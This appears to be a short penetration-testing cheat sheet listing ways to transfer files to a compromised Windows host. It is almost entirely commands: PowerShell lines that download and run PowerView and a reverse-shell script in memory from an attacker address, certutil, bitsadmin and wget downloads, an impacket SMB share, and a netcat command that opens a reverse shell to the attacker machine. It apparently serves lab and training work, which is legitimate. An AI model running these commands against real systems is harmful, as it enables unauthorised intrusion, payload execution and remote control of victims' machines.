Window

PowerShell

# Download and Execute on Memory
iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/PowerView.ps1');Get-NetComputer -Ping
echo IEX(New-Object Net.WebClient).downloadString('http://10.10.10.10/rev.ps1') | powershell -noprofile -

# Download
Powershell -c Invoke-WebRequest "http: //10.10.10.10/rev.ps1" -OutFile C:\temp\rev.ps1
PS > (new-object net.webclient).downloadfile('http://10.10.10.10/shell.bat', 'C:\users\Public\shell.bat')

cmd > Powershell -c "(new-object net.webclient).downloadfile('http://10.10.10.10/shell.bat', 'C:\users\Public\shell.bat')"
cmd > powershell iwr http://10.10.10.10/file -OutFIle file1

# Wget
wget http://10.10.10.10/PowerView.ps1 -OutFile PowerView.ps1

Certutil

certutil -f -urlcache http://10.10.10.10/Powerview.ps1 C:\Users\Public\Powerview.ps1

Impacket-smbserver

On Kali machine:

impacket-smbserver share /usr/share/windows-resources/binaries

Connect and execute from Window machine:

\\Kali-IP\share\nc.exe -e cmd.exe Kali-IP 4444

Map drive on Window

net use z: \\10.10.14.2\folder-path
z:
copy file Z:\

Bitsadmin

bitsadmin /transfer job http://10.10.10.10/file1 C:\users\bob\desktop\file1

Last updated